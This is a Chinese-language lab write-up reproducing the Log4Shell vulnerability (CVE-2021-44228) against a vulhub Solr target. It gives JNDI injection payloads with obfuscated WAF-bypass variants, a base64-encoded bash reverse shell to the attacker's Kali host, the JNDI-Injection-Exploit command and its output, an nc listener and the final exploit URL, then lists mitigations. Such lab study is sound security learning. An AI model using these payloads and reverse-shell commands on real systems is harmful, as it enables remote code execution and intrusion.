【vulhub】Log4j2:CVE-2021-44228漏洞复现

本次复现的参考:https://www.freebuf.com/vuls/329984.htmlhttps://cloud.tencent.com/developer/article/1944751、https://mp.weixin.qq.com/s/15zcLEk6_x2enszhim9afA

原理

Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。

影响版本

Apache Log4j 2.x <= 2.14.1

poc【这暂时都不懂欸,先放着吧】

${jndi:ldap://xxx.dnslog.cn/poc}

waf绕过

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://xxx.dnslog.cn/poc}
${${::-j}ndi:rmi://xxx.dnslog.cn/poc}
${jndi:rmi://xxx.dnslog.cn/poc}
${${lower:jndi}:${lower:rmi}://xxx.dnslog.cn/poc}
${${lower:${lower:jndi}}:${lower:rmi}://xxx.dnslog.cn/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://xxx.dnslog.cn/poc}

RCE利用

靶机------http://192.168.88.128:8080/

靶场环境搭建

靶场:vulhub
【vulhub】Log4j2:CVE-2021-44228漏洞复现_第1张图片
开启靶场:
因为之前我的ubuntu就下载好了vulhub-master,所以可以进入对应的文件夹然后启动,完成本地搭建

ubuntu-gan@ubuntugan-virtual-machine:~$ cd  vulhub-master/log4j/CVE-2021-44228
ubuntu-gan@ubuntugan-virtual-machine:~/vulhub-master/log4j/CVE-2021-44228$  docker-compose up -d
Creating network "cve-2021-44228_default" with the default driver
Pulling solr (vulhub/solr:8.11.0)...
8.11.0: Pulling from vulhub/solr
43c265008fae: Already exists
af36d2c7a48: Already exists
2b7b4d10e1c1: Already exists
f264389d8f2f: Already exists
1a2c46e93f4a: Already exists
f9506bb322c0: Already exists
96f5dad14c2c: Already exists
c387eff49cc3: Downloading [>                                                  ] c387eff49cc3: Downloading [>                                                  ] c387eff49cc3: Downloading [>                                                  ] c387eff49cc3: Downloading [>                                                  ] c387eff49cc3: Downloading [>                                                  ] c387eff49cc3: Downloading [>                                                  ] c387eff49cc3: Downloading [=>                                                 ] c387eff49cc3: Downloading [=>                                                 ] c387eff49cc3: Downloading [=>                                                 ] c387eff49cc3: Downloading [=>                                                 ] c387eff49cc3: Pull complete
Digest: sha256:84255b20a2d134fc97bbb0fab7cb826087098ee594fcbc94c3a71def24d31003
Status: Downloaded newer image for vulhub/solr:8.11.0
Creating cve-2021-44228_solr_1 ... done

查看端口为8983
在这里插入图片描述

开启成功后访问:http://192.168.88.128:8983/
【vulhub】Log4j2:CVE-2021-44228漏洞复现_第2张图片
再访问:http://192.168.88.128:8983/solr/admin/cores?action=1。【问题:他们是怎么知道要访问这个url的呢?】
【vulhub】Log4j2:CVE-2021-44228漏洞复现_第3张图片
补充解答“他们是怎么知道要访问这个url的呢?”:http://www.ctfiot.com/16640.html#fancybox-14
根据官方文件可以得知 Collections 的调用参数
【vulhub】Log4j2:CVE-2021-44228漏洞复现_第4张图片
我们可以设想通过可控的 Collections 来进行 JNDI注入,路径为:

/solr/admin/collections?action=xxxxx

漏洞判定

利用dnslog

首先访问http://dnslog.cn/ 获取一个临时域名
【vulhub】Log4j2:CVE-2021-44228漏洞复现_第5张图片

然后利用获取到的临时域名构造payload ,直接访问:http://192.168.88.128:8983/solr/admin/cores?action=${jndi:ldap://olorvf.dnslog.cn}
【这个payload是什么意思呢?】
【vulhub】Log4j2:CVE-2021-44228漏洞复现_第6张图片

访问之后,我们查看dnslog.cn页面,点击Refresh按钮刷新,可以看到有请求访问记录,表明存在log4j2漏洞。【我用不同的浏览器,已及用ubuntu自带的浏览器都访问了的。】
【vulhub】Log4j2:CVE-2021-44228漏洞复现_第7张图片

漏洞利用

kali攻击机:192.168.88.129

JDNI注入工具

下载地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
【vulhub】Log4j2:CVE-2021-44228漏洞复现_第8张图片
下载对应的jar包。将jar包拷贝到kali虚拟机,或者直接在kali中下载【因为我这边不能从主机拷贝到kali,所以我在kali的火狐浏览器中下载了一个】。
利用JNDI注入工具 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar。

构造payload:

bash -i > /dev/tcp/192.168.88.129/6969 0>&1

【vulhub】Log4j2:CVE-2021-44228漏洞复现_第9张图片

在kali执行:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c " {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzE5Mi4xNjguODguMTI5LzY5NjkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.88.129

得到了rmi、ldap参数:

┌──(kaligan㉿studygan)-[~/Downloads]
└─$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c " {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzE5Mi4xNjguODguMTI5LzY5NjkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.88.129
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[ADDRESS] >> 192.168.88.129
[COMMAND] >> bash -c  {echo,YmFzaCAtaSA+IC9kZXYvdGNwLzE5Mi4xNjguODguMTI5LzY5NjkgMD4mMQ==}|{base64,-d}|{bash,-i}
----------------------------JNDI Links---------------------------- 
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.88.129:1099/5ftwug
ldap://192.168.88.129:1389/5ftwug
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.88.129:1099/ggds3d
ldap://192.168.88.129:1389/ggds3d
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.88.129:1099/xrvhnp

----------------------------Server Log----------------------------
2022-09-13 21:53:33 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2022-09-13 21:53:33 [RMISERVER]  >> Listening on 0.0.0.0:1099
2022-09-13 21:53:34 [LDAPSERVER] >> Listening on 0.0.0.0:1389



监听端口

然后在kali攻击机上开启nc监听6969端口:【为什么要监听6969?能监听别的端口嘛?-----这个我懂了,应该和前面那个bash语句 payload有关,如果前面换一个,那么监听端口就对应起来即可。】

nc -lvnp 6969

【vulhub】Log4j2:CVE-2021-44228漏洞复现_第10张图片

在浏览器访问payload

payload:http://192.168.88.128:8983/solr/admin/cores?action=${jndi:rmi://192.168.88.129:1099/5ftwug}

【vulhub】Log4j2:CVE-2021-44228漏洞复现_第11张图片
然后发现kali这边监听到了,可以执行shell命令了。
【vulhub】Log4j2:CVE-2021-44228漏洞复现_第12张图片

关闭靶场

养成好习惯,用完记得关闭:docker-compose down

ubuntu-gan@ubuntugan-virtual-machine:~/vulhub-master/log4j/CVE-2021-44228$ docker-compose down
Stopping cve-2021-44228_solr_1 ... done
Removing cve-2021-44228_solr_1 ... done
Removing network cve-2021-44228_default

修复

 1. 升级最新版本
 2. 设置jvm参数"-Dlog4j2.formatMsgNoLookups=true"3. 设置系统环境变量"FORMAT_MESSAGES_PATTERN_DIS-ABLE_LOOKU_PS""true"
 4. 关闭应用的网络外连。

你可能感兴趣的:(#,靶场相关,log4j,java,开发语言)